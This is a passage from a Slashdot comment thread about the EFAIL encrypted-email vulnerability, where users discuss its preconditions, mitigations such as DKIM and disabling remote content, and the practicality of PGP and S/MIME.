      The vulnerability can be mitigated externally by implementing DKIM on the sending domain. When the message is altered by the attacker, DKIM signature validation will fail and the message will be flagged as having been altered. Combined with turning off fetching of remote content (the default in most mail clients these days) it allows detection of the attack and prevents data disclosure.

    2. Re:Aren't there hash checks builtin? by Anonymous Coward · · Score: 0

      The second variant of the attack does allow inserting additional encrypted text into the original encrypted text (if the attacker knows or guesses one block of plaintext) and some email clients will still, even though the validity signature is broken, decrypt and load the content. :-(

    3. Re:Aren't there hash checks builtin? by Todd+Knarr · · Score: 1

      Yes. That should though be handled by the message signature, not the encryption. If you care about the integrity of the encrypted message you should sign it (S/MIME or PGP) as well as encrypting it. The client may ignore the MDCs in the encryption, but a failed S/MIME or PGP signature on the same message will show as an error independent of that.

  20. Lots of preconditions for this attack by Alok · · Score: 1

    This 'major, divisive flaw' is something that needs multiple conditions before it can execute:

    - Someone who uses encrypted email but doesn't disable automatic image loading in the client
    - Client that can't handle malformed HTML inputs and processes unterminated src tags in a weird way
    - Message tampering warnings by the PGP or GPG library are ignored
    - Server address where the plaintext will get uploaded thru uuencoded resource requests

    I wonder if there are clients that, when user has disabled image loading, would still end up auto loading other content (eg. CSS links)? If so then this could be readily exploited far more often in the wild, with the proviso that the attackers don't care about leaving trails of their server address in client & router logs.

    1. Re:Lots of preconditions for this attack by Kjella · · Score: 1

      - Someone who uses encrypted email but doesn't disable automatic image loading in the client

      For every one person who cares there's probably five that got badgered into setting it up because the first guy insisted but are otherwise casual users leaving everything at their defaults.

      - Client that can't handle malformed HTML inputs and processes unterminated src tags in a weird way
      - Message tampering warnings by the PGP or GPG library are ignored

      Which seem to be pretty common...

      - Server address where the plaintext will get uploaded thru uuencoded resource requests

      Oh please it'll be a random botnet IP, you don't need DNS or access to a privileged port or anything just any dumb port who'll forward it to a C&C server on TOR or something like that.

      Okay so it doesn't affect the security-minded that read all his mail in plain text and has disabled external loading. But it's another blow to those trying to make encrypted email common among "normal people". Though after 25+ years it's probably time to give up anyway.

      --
      Live today, because you never know what tomorrow brings
    2. Re:Lots of preconditions for this attack by Anonymous Coward · · Score: 0

      Okay so it doesn't affect the security-minded that read all his mail in plain text and has disabled external loading..

      But it does! It doesn't affect the emails they receive, it does potentially affect the ones that they send, and there is nothing within their control they can do about that apart from not sending encrypted emails.

  21. Divisive? by jtara · · Score: 2

    Divisive?

    And just how is this security flaw tending to cause disagreement or hostility between people?

    1. Re:Divisive? by Anonymous Coward · · Score: 0

      You wanna fight about it!?

    2. Re:Divisive? by thegarbz · · Score: 1

      Divisive?

      And just how is this security flaw tending to cause disagreement or hostility between people?

      Have you ever read Slashdot comments before?

    3. Re:Divisive? by Anonymous Coward · · Score: 0

      Uhh, welcome to the Internet?

  22. So... posting about a repost... is old? by Anonymous Coward · · Score: 0

    Once I saw Beauhd's post I tried to link it back as old news... to an earlier /. post from msmash hours before... but apparently my lack of using the word "dupe" in the subject line... got it auto-moderated into oblivion?

    So sad. Thumb's up to msmash and thumbs down to BeauHD for a complete lack of reading previous topics on this website before proclaiming total information dominance on a topic that was hours old.

    Peace out.

  23. It's the "Oh, shiny!" crowd by Anonymous Coward · · Score: 0

    Fueled by Microsoft, then Apple, and with the involuntary help of Mozilla ("we would become irrelevant otherwise!").

    Whoever thought receiving HTML mails was a good idea. Especially when they trigger "actions" (CSS, loading of media, perhaps Javascript or Flash -- what do I know how far the bad taste goes?) on the vulnerable (because decrypted) client side.

      Any sufficiently advanced stupidity is indistinguishable from malice.

    (Sorry, Clarke & Hanlon).

  24. just use gmail... by anon+mouse-cow-aard · · Score: 1
    If both parties are on gmail... the client to server is SSL, there is no SMTP traffic traversing public networks. As long as you dont care if Google reads it (and frankly, I dont), then its pretty damn secure. Even one person on gmail,and another on hotmail is likely fine, since they exchange traffic over SSL as well.

    S/MIME was made in a world where mail was passed, un-encrypted on SMTP port along a chain of mail servers for every company on the internet. anybody operating any router between A and B, and there could be a lot of them, could intercept the mail and read it. Nowadays, a lot of that has collapsed into a few big mailers with many hundreds of thousands or millions of mailboxes. Traffic between those services is SSL encrypted these days. So as long as you dont care about the service operator seeing the mail, there is no problem. This is much safer than things used to be.

    cue the paranoid fanatics...

    1. Re:just use gmail... by Anonymous Coward · · Score: 0

      Do you really want to live in a world where "secure" electronic communications are controlled by one single entity?

    2. Re:just use gmail... by Anonymous Coward · · Score: 0

      Except now all of your ads will relate to the super sekret contents of your gmail only mail.

  25. please explain by dimko · · Score: 1

    If I use Thunderbird which blocks most of HTML and all of JPEG/GIF content, how am I vulnerable again?(ok i don't use PGP, but still)

  26. So That's What It Means by Anonymous Coward · · Score: 0

    When my email client tells me that sending an email in HTML format is not secure. Next you'll be telling me that posting my private key on Facebook could allow hackers access to my encrypted messages.

  27. Who sends encrypted HTML messages? by Khashishi · · Score: 1

    Anyone who is sending encrypted mail is going to be using plain text, right?

  28. Unless you are China by Anonymous Coward · · Score: 0

    "The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve."

    I'm 100% certain that the censors in China have this level of access. China can also force all Internet traffic to route through their country because they have several BGP routers, which is something that they've done on occasion.

  29. Panic! by Raven268 · · Score: 1

    This seems to be an instance of security researchers crying wolf when they found a scrawny coyote. Doesn't mean the thing wonâ(TM)t bite you, though.

    (BTW, slashdot, why did you convert my dumb apostrophes to weird things?)

  30. PGP? by atrex · · Score: 1

    Not that I've ever used it, but I thought that PGP stood for "Pretty Good Protection" - aka not uncrackable but enough to keep casual observers (like bored ISP admins) at bay.

  31. OpsMsg/Drop instead? by Anonymous Coward · · Score: 0

    If we need a email-esqe asynchronous messaging system, perhaps a thunderbird plugin to do OpsMsg/Drop for e2e?